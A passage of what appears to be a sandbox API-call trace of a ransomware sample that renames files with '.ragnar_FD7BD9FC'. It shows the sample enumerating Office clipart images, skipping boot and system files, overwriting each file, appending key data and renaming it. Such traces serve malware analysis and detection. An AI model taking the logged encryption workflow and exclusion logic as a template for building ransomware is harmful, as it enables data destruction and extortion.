GetProcessHeap () returned 0x580000 [0088.199] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.199] CloseHandle (hObject=0xf4) returned 1 [0088.199] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" [0088.199] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ragnar_FD7BD9FC" [0088.199] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.200] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0088.200] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.200] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0384895.JPG" | out: lpString1="J0384895.JPG") returned="J0384895.JPG" [0088.200] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG") returned=".JPG" [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="autorun.inf") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="boot.ini") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="bootfont.bin") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="bootsect.bak") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="bootmgr") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="bootmgr.efi") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="bootmgfw.efi") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="desktop.ini") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="iconcache.db") returned 1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="ntldr") returned -1 [0088.200] lstrcmpiW (lpString1="J0384895.JPG", lpString2="ntuser.dat") returned -1 [0088.201] lstrcmpiW (lpString1="J0384895.JPG", lpString2="ntuser.dat.log") returned -1 [0088.201] lstrcmpiW (lpString1="J0384895.JPG", lpString2="ntuser.ini") returned -1 [0088.201] lstrcmpiW (lpString1="J0384895.JPG", lpString2="thumbs.db") returned -1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.201] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg")) returned 0x20 [0088.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.201] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=55542) returned 1 [0088.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd8ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.201] GetProcessHeap () returned 0x580000 [0088.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.202] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.203] VirtualAlloc (lpAddress=0x0, dwSize=0xd8f6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.203] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd8f6, lpOverlapped=0x0) returned 1 [0088.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.205] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.205] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd8f6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd8f6, lpOverlapped=0x0) returned 1 [0088.205] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.205] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd8f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.206] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.206] GetProcessHeap () returned 0x580000 [0088.206] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.206] CloseHandle (hObject=0xf4) returned 1 [0088.206] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" [0088.206] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ragnar_FD7BD9FC" [0088.206] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.207] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0088.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.207] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0384900.JPG" | out: lpString1="J0384900.JPG") returned="J0384900.JPG" [0088.207] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG") returned=".JPG" [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="autorun.inf") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="boot.ini") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="bootfont.bin") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="bootsect.bak") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="bootmgr") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="bootmgr.efi") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="bootmgfw.efi") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="desktop.ini") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="iconcache.db") returned 1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="ntldr") returned -1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="ntuser.dat") returned -1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="ntuser.dat.log") returned -1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="ntuser.ini") returned -1 [0088.207] lstrcmpiW (lpString1="J0384900.JPG", lpString2="thumbs.db") returned -1 [0088.207] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.207] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.207] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.207] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.207] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.208] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.208] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg")) returned 0x20 [0088.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.209] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=71552) returned 1 [0088.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11777, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.209] GetProcessHeap () returned 0x580000 [0088.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.209] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.210] VirtualAlloc (lpAddress=0x0, dwSize=0x11780, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.211] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11780, lpOverlapped=0x0) returned 1 [0088.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.213] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11780, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.213] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11780, lpOverlapped=0x0) returned 1 [0088.213] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11780, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.213] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.214] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.214] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.214] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.214] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.214] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.214] GetProcessHeap () returned 0x580000 [0088.214] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.214] CloseHandle (hObject=0xf4) returned 1 [0088.214] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" [0088.214] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ragnar_FD7BD9FC" [0088.214] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.215] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0088.215] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.215] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0386120.JPG" | out: lpString1="J0386120.JPG") returned="J0386120.JPG" [0088.215] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG") returned=".JPG" [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="autorun.inf") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="boot.ini") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="bootfont.bin") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="bootsect.bak") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="bootmgr") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="bootmgr.efi") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="bootmgfw.efi") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="desktop.ini") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="iconcache.db") returned 1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="ntldr") returned -1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="ntuser.dat") returned -1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="ntuser.dat.log") returned -1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="ntuser.ini") returned -1 [0088.215] lstrcmpiW (lpString1="J0386120.JPG", lpString2="thumbs.db") returned -1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.215] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.216] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg")) returned 0x20 [0088.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.216] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30842) returned 1 [0088.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.216] GetProcessHeap () returned 0x580000 [0088.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.216] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.218] VirtualAlloc (lpAddress=0x0, dwSize=0x787a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.218] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x787a, lpOverlapped=0x0) returned 1 [0088.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.219] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x787a, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.219] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x787a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x787a, lpOverlapped=0x0) returned 1 [0088.220] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x787a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.220] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x787a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.220] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.220] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.220] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.220] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.220] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.220] GetProcessHeap () returned 0x580000 [0088.220] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.220] CloseHandle (hObject=0xf4) returned 1 [0088.221] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" [0088.221] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ragnar_FD7BD9FC" [0088.221] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 